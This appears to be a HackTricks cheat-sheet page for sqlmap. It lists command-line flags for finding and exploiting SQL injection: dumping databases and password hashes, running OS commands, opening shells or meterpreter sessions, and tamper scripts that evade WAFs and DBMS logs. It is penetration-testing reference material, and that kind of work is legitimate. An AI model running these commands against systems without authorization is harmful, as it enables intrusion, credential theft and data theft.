SQLMap
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic arguments for SQLmap
Generic
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
Technique flags (--technique)
The --technique argument defines which SQL injection methods sqlmap will attempt.
Each character in the string represents a technique:
| Letter | Technique | Description |
|---|---|---|
| B | Boolean-based blind | Uses true/false conditions to infer data |
| E | Error-based | Leverages verbose DBMS error messages to exfiltrate results |
| U | UNION query | Injects UNION SELECT statements to fetch data via the same channel |
| S | Stacked queries | Adds additional statements separated by ; |
| T | Time-based blind | Relies on delays (SLEEP, WAITFOR) to detect injection |
| Q | Inline / out-of-band | Uses functions such as LOAD_FILE() or OOB channels like DNS |
Default order is BEUSTQ. You can rearrange or limit them, e.g. only Boolean and Time-based in that order:
sqlmap -u "http://target/?id=1" --technique="BT" --batch
Retrieve Information
Internal
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
DB data
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Injection place
From Burp/ZAP capture
Capture the request and create a req.txt file
sqlmap -r req.txt --current-user
GET Request Injection
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST Request Injection
sqlmap -u "http://example.com" --data "username=*&password=*"
Injections in Headers and other HTTP Methods
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Second order injection
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Shell
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Crawl a website with SQLmap and auto-exploit
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Customizing Injection
Set a suffix
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Prefix
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Help finding boolean injection
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
| Tamper | Description |
|---|---|
| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart |
| appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
| base64encode.py | Base64 all characters in a given payload |
| between.py | Replaces greater than operator (β>β) with βNOT BETWEEN 0 AND #β |
| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
| chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
| commalesslimit.py | Replaces instances like βLIMIT M, Nβ with βLIMIT N OFFSET Mβ |
| commalessmid.py | Replaces instances like βMID(A, B, C)β with βMID(A FROM B FOR C)β |
| concat2concatws.py | Replaces instances like βCONCAT(A, B)β with βCONCAT_WS(MID(CHAR(0), 0, 0), A, B)β |
| charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). β%u0022β |
| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). β\u0022β |
| equaltolike.py | Replaces all occurances of operator equal (β=β) with operator βLIKEβ |
| escapequotes.py | Slash escape quotes (β and β) |
| greatest.py | Replaces greater than operator (β>β) with βGREATESTβ counterpart |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
| ifnull2ifisnull.py | Replaces instances like βIFNULL(A, B)β with βIF(ISNULL(A), B, A)β |
| modsecurityversioned.py | Embraces complete query with versioned comment |
| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
| multiplespaces.py | Adds multiple spaces around SQL keywords |
| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(βSELECTβ, ββ)) filters |
| percentage.py | Adds a percentage sign (β%β) infront of each character |
| overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
| randomcase.py | Replaces each keyword character with random case value |
| randomcomments.py | Add random comments to SQL keywords |
| securesphere.py | Appends special crafted string |
| sp_password.py | Appends βsp_passwordβ to the end of the payload for automatic obfuscation from DBMS logs |
| space2comment.py | Replaces space character (β β) with comments |
| space2dash.py | Replaces space character (β β) with a dash comment (βββ) followed by a random string and a new line (β\nβ) |
| space2hash.py | Replaces space character (β β) with a pound character (β#β) followed by a random string and a new line (β\nβ) |
| space2morehash.py | Replaces space character (β β) with a pound character (β#β) followed by a random string and a new line (β\nβ) |
| space2mssqlblank.py | Replaces space character (β β) with a random blank character from a valid set of alternate characters |
| space2mssqlhash.py | Replaces space character (β β) with a pound character (β#β) followed by a new line (β\nβ) |
| space2mysqlblank.py | Replaces space character (β β) with a random blank character from a valid set of alternate characters |
| space2mysqldash.py | Replaces space character (β β) with a dash comment (βββ) followed by a new line (β\nβ) |
| space2plus.py | Replaces space character (β β) with plus (β+β) |
| space2randomblank.py | Replaces space character (β β) with a random blank character from a valid set of alternate characters |
| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and |
| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
| unmagicquotes.py | Replaces quote character (β) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
| uppercase.py | Replaces each keyword character with upper case value βINSERTβ |
| varnish.py | Append a HTTP header βX-originating-IPβ |
| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
| xforwardedfor.py | Append a fake HTTP header βX-Forwarded-Forβ |
References
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks

